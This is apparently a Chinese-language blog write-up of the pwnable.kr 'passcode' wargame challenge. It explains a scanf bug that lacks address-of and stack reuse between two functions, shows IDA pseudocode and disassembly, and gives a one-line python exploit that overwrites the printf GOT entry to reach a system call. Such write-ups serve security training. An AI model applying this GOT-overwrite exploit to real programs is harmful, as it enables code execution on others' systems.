【pwnable.kr】 passcode

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/think_ycx/article/details/80960273

下载程序

scp -P 2222 -p [email protected]:/home/passcode/* ./

漏洞信息
程序main函数中,welcome和login存在栈复用,welcome调用gets向ebp-0x70读入100个字符。 
login中scanf没有取地址,因此会把[ebp-10h]和[ebp-0xch]的内容当成要写入的地址。

在welcome中,我们有一次布置数据的机会,可以造成信息泄漏、布置dirty data。 
在login中,我们可以两次任意地址写,每次写4byte。 
如果想进入system流程,需要修改[ebp-0x10]和[ebp-0xc]的内容。由于没有栈地址,在welcome中泄漏出数据之后就不能布置dirty data了。因此,考虑利用任意地址写来hijack GOT为.text中system的地址,首先需要在welcome布置[ebp-0x10]为printf GOT地址。

scanf format %100s可以读取100 byte,正好0x60*”A”+PRINTF_GOT_ADDR也是100 byte。多的输入正好给了login中的scanf %d,也就是向GOT表中写入的值。

IDA pseudocode
unsigned int welcome()
{
  char v1; // [esp+18h] [ebp-70h]
  unsigned int v2; // [esp+7Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("enter you name : ");
  __isoc99_scanf("%100s", &v1);
  printf("Welcome %s!\n", &v1);
  return __readgsdword(0x14u) ^ v2;
}

int login()
{
  int v1; // [esp+18h] [ebp-10h]
  int v2; // [esp+1Ch] [ebp-Ch]

  printf("enter passcode1 : ");
  __isoc99_scanf("%d");
  fflush(stdin);
  printf("enter passcode2 : ");
  __isoc99_scanf("%d");
  puts("checking...");
  if ( v1 != 338150 || v2 != 13371337 )
  {
    puts("Login Failed!");
    exit(0);
  }
  puts("Login OK!");
  return system("/bin/cat flag");
}
IDA disassemble
.text:08048564 ; __unwind {
.text:08048564                 push    ebp
.text:08048565                 mov     ebp, esp
.text:08048567                 sub     esp, 28h
.text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
.text:0804856F                 mov     [esp], eax      ; format
.text:08048572                 call    _printf
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+var_10]
.text:0804857F                 mov     [esp+4], edx
.text:08048583                 mov     [esp], eax
.text:08048586                 call    ___isoc99_scanf
.text:0804858B                 mov     eax, ds:stdin@@GLIBC_2_0
.text:08048590                 mov     [esp], eax      ; stream
.text:08048593                 call    _fflush
.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D                 mov     [esp], eax      ; format
.text:080485A0                 call    _printf
.text:080485A5                 mov     eax, offset aD  ; "%d"
.text:080485AA                 mov     edx, [ebp+var_C]
.text:080485AD                 mov     [esp+4], edx
.text:080485B1                 mov     [esp], eax
.text:080485B4                 call    ___isoc99_scanf
EXPLOIT
python -c "print 'A'*0x60 + '\x00\xa0\x04\x08' + '134514147'" | ./passcode



猜你喜欢

转载自blog.csdn.net/think_ycx/article/details/80960273